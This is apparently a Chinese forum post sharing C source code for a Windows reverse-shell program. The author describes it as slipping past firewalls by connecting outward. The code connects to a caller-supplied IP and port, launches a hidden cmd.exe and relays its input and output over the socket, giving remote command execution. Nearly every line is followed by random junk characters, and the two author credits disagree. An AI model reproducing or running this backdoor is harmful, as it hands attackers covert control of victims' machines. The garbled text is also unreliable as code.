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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |io)?`pj  
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/* ============================== :ciD!Ly  
Rebound port in Windows NT -Ir>pY\!  
By wind,2006/7 uo ;m  
===============================*/ ,W;|K 5  
#include Bn.5ivF3  
#include 7~;)N$d\  
xrI9t?QaCb  
#pragma comment(lib,"wsock32.lib") d%K{JkD-  
"p+JME(  
void OutputShell(); ]f}(i D  
SOCKET sClient; X~/-,oV=A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; qyh]v[  
#o,FVYYj  
void main(int argc,char **argv) cucT |y  
{ PDLps[a  
WSADATA stWsaData; jv6>7@<G  
int nRet; 1=e(g#Ajn\  
SOCKADDR_IN stSaiClient,stSaiServer; lXEn m-_  
;|W:,a{kS  
if(argc != 3) b|iIdDK  
{ &VcO,7 A|  
printf("Useage:\n\rRebound DestIP DestPort\n"); K /%5\h  
return; b$- g"F  
} b5ul|p  
J*m7 d4^  
WSAStartup(MAKEWORD(2,2),&stWsaData); igEqty!.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &|' NDcp  
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stSaiClient.sin_family = AF_INET; :^`WrcOJ  
stSaiClient.sin_port = htons(0); : %uaaFl  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d[nz0LI|mk  
U* uMMb}$  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b *3h}n;  
{ \HQ.Pwr 6  
printf("Bind Socket Failed!\n"); Ocn@JOg  
return; qE VpkvEq  
} P + C5 s  
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stSaiServer.sin_family = AF_INET; AYfe_Dj  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s,l*=<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BuUM~k&SY  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e E(+  
{ 0QxBC7` qp  
printf("Connect Error!"); &}K%F)S  
return; if3z Fh  
} PWquu`  
OutputShell(); 5=}CZYWB  
} (f~}5O<  
Sz]1`%_H/  
void OutputShell() #r1y|)m`  
{ }5}>B *  
char szBuff[1024]; [Z&<# -  
SECURITY_ATTRIBUTES stSecurityAttributes; Zq H-]?)  
OSVERSIONINFO stOsversionInfo; y,@yaM}-/K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2izBB,# "  
STARTUPINFO stStartupInfo; M@p<L VP  
char *szShell; ?6L8#"=  
PROCESS_INFORMATION stProcessInformation; ?^LG>GgV  
unsigned long lBytesRead; d`% 7Pk  
b! teSf  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .[1@wW&L  
x<@i3Y{[  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7]i6 Gk  
stSecurityAttributes.lpSecurityDescriptor = 0; 8dJ+Ei~M  
stSecurityAttributes.bInheritHandle = TRUE; T)Q_dF.N  
"L8Hgwg  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !D V0u)k(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N P5K1:  
f zL5C2d  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); = C/F26=|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jl>wvY||  
stStartupInfo.wShowWindow = SW_HIDE; [HQ/MkP-Z  
stStartupInfo.hStdInput = hReadPipe; }_H\ 75Iv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %?F$3YN,  
kf#S"[/E  
GetVersionEx(&stOsversionInfo); : #so"O  
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switch(stOsversionInfo.dwPlatformId) y{~tMpo<  
{ I|;C} lfp  
case 1: m9 ]Ge]  
szShell = "command.com"; Rm6i[y&  
break; {Z Ld_VGW  
default: IGab~`c-[  
szShell = "cmd.exe"; k![H;}W  
break; 2 MW7nIEs  
} Z|)1ftcC  
{~G~=sC$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ll VbY=EX7  
?crK613 t  
send(sClient,szMsg,77,0); l-x-  
while(1)  ':DL  
{ F(^#_tXP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9E4^hkD&  
if(lBytesRead) a4Z e!l(  
{ G]mD_J1$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ULs'oT)K;  
send(sClient,szBuff,lBytesRead,0); "|R75m,Id  
} OI3j!L2f  
else =EU;%f  
{ zZey  
lBytesRead=recv(sClient,szBuff,1024,0); aSgKh  
if(lBytesRead<=0) break; vj]h[=:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NgF"1E  
} oiD{Z  
} ml!c0<  
BxZ7Bk  
return; (uC@cVk P  
}
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